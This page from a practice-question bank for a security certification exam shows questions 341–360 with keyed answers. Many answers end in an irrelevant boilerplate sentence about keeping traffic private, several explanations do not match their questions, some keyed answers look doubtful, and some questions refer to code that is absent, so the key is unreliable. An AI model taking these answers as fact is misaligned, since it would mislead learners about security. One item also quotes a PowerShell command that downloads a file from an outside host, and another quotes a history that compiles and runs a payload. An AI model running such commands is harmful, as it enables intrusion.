Page 18 of 20 · 393 total questions.
Which of the following mechanisms must a security protocol provide in order for zero-knowledge proofs to work in practical cryptographic applications?
The correct answer is A. Option A: Challenge-response series This option keeps traffic private / properly secured as required.
A systems administrator works for an organization that is merging with another one. The systems administrator needs to produce specific reports for the board of directors. Which of the following actions is the board of directors most likely taking?
The correct answer is C. Option C: Investigating their right of first refusal
An engineer sees the following segment while manually integrating legacy code into a modern application: Which of the following functions or expressions should the engineer modify?
The correct answer is D. Option D: Line [04];Remove if-else clause
The security team at a hospital has proposed redesigning the lobby to change the orientation of employee monitors in order to prevent patients from seeing anything displayed onscreen. Which of the following concerns is team most likely trying to address?
The correct answer is D. Option D: Physical security This option keeps traffic private / properly secured as required.
A Chief Information Security Officer receives the following findings from a third-party risk assessment report: Finding #1: Absence of a risk management process Finding #2: Absence of a formal information security management system Finding #3: Absence of formal procedures to review access Finding #4: Absence of management engagement on monitoring security objectives Which of the following is best for the security team to use when remediating the findings?
The correct answer is D. Option D: Research appropriate CIS benchmarks and apply them. This option keeps traffic private / properly secured as required.
An organization has a hybrid architecture that requires disparate systems to communicate with one another without a common chain of trust. Which of the following is the best solution?
The correct answer is D. Option D: Implementing remote attestation services
A compliance manager is planning an engagement to identify risks in the environment. The manager wants to discuss with business unit leaders essential aspects of the engagement that include identifying critical assets and processes as well as potential points of failure. Which of the following would be most relevant to consider during these conversations?
The correct answer is D. Option D: Risk appetite and tolerance
A security architect wants to configure a mail server so it maintains an updated list of IOCs and blocks known-malicious incoming emails. Which of the following will the security architect most likely need for this task?
The correct answer is B. Option B: Threat feed API This option keeps traffic private / properly secured as required.
A SOC analyst is investigating an event in which a penetration tester was able to successfully create and execute a payload. The analyst pulls the following command history from the affected server: $ uname -a && env $ vim foo.c $ gcc foo.c /tmp/lockfile $ chmod +x /tmp/lockfile $ ./tmp/lockfile Which of the following should the analyst implement to improve the security of the server?
The correct answer is B. Option B: Application controls with allow lists This option keeps traffic private / properly secured as required.
During a vulnerability assessment, a scan reveals the following finding: Windows Server 2016 Missing hotfix KB87728 - CVSS 3.1 Score: 8.1 [High] - Affected host 172.16.15.2 Later in the review process, the remediation team marks the finding as a false positive. Which of the following is the best way to avoid this issue on future scans?
The correct answer is B. Option B: Performing an authenticated scan on the servers
An architect is securing an external infrastructure to support external services. The following components are in use: • One Kubernetes cluster with multiple pods and nodes for back-end services • Two VM Linux instances as the web tier • One SQL-based database The company only has funding for two controls and must prioritize resilience. Which of the following are the most effective controls for the company to implement to meet this goal? (Choose two.)
The correct answer is C, F. Option C: A content delivery network Option F: An application load balancer
Explanation
A load balancer distributes requests across healthy backends to improve scale and availability. By spanning multiple Availability Zones / adding redundancy, this option provides the high availability and resilience required.
A company's headquarters is in an area with a high rate of severe weather. An engineer must update the enterprise architecture to meet the following requirements: • Critical services must remain functional without downtime. • Backups of data and configurations must be securely implemented. • Company workstations must be highly available and remotely reachable. Which of the following solutions is the best way to meet these requirements?
The correct answer is B. Option B: Open and staff a second data center at least 100 miles away with robust, network-attached storage, and include DAR encryption for offline backups of customer data to enable rapid recovery.
Explanation
Encryption protects confidentiality by making data unreadable without the appropriate key. By spanning multiple Availability Zones / adding redundancy, this option provides the high availability and resilience required.
A security analyst is investigating an EDR alert and notices the following commands from the shell: PS > iwr -uri http://domain.com/happy.jpg -outfile .\important.url The only artifact that the analyst has access to is a network packet capture. Which of the following actions would most likely confirm whether the file is malicious?
The correct answer is D. Option D: Observing MZ in the binary stream header This option keeps traffic private / properly secured as required.
A company with a large, cloud-native, e-commerce website wants to know more details about an ongoing, sophisticated attack against the web platform. Which of the following is the best technique?
The correct answer is D. Option D: High-interaction honeypots
A security analyst must design a system infrastructure that aligns to industry best practices and established frameworks. Which of the following should the analyst do first?
The correct answer is D. Option D: Perform a gap assessment of the security controls. This option keeps traffic private / properly secured as required.
A small number but steady series of attempts to breach the network has been occurring over a long period of time. During an investigation, a SOC analyst finds that traffic is exiting the network to known malicious hosts and is originating from a rogue network device. Which of the following attack vectors is most likely being used to breach the network?
The correct answer is D. Option D: Ransomware
Explanation
Ransomware disrupts access by encrypting or stealing data; resilient backups, segmentation, and endpoint controls reduce impact.
The following vulnerability was detected during a recent SAST scan of an application that provides an encrypted tunnel between sites: Cipher Block Chaining Initialization Vector must be unpredictable. This vulnerability was found on the following lines of the source code: iv = b"CompTIAIV202512" cipher= Cipher(Algorithms.AES(key), modes.CBC(iv)) Which of the following is the potential impact of this vulnerability?
The correct answer is D. Option D: An attacker could use a DoS by predicting the Initialization Vector and tampering with its value. This option keeps traffic private / properly secured as required.
A reverse engineer is analyzing a malware sample from a recent security incident. When debugging and disassembling the code, the engineer finds the following section of the code: Which of the following does this malware try to evade?
The correct answer is B. Option B: Code similarity This option keeps traffic private / properly secured as required.
During a penetration test, several users report that certain fileshares on the network could not be accessed. An analyst reviews the network traffic and detects a high number of packets associated with LLMNR and SMB that are being redirected to the penetration tester’s computer. Which of the following attacks is causing the issue?
The correct answer is D. Option D: Network poisoning
A systems administrator uses an internal AI-based tool to generate code that uses an API to connect to a company service. After testing the code, the systems administrator collects and posts data using the API for the internal system. The Chief Information Security Officer asks a security engineer to review the systems administrator's process. Which of the following should the security engineer do first?
The correct answer is C. Option C: Review the effectiveness of the AI tool that the administrator used. This option keeps traffic private / properly secured as required.
Showing questions 341–360 of 393 · Page 18 of 20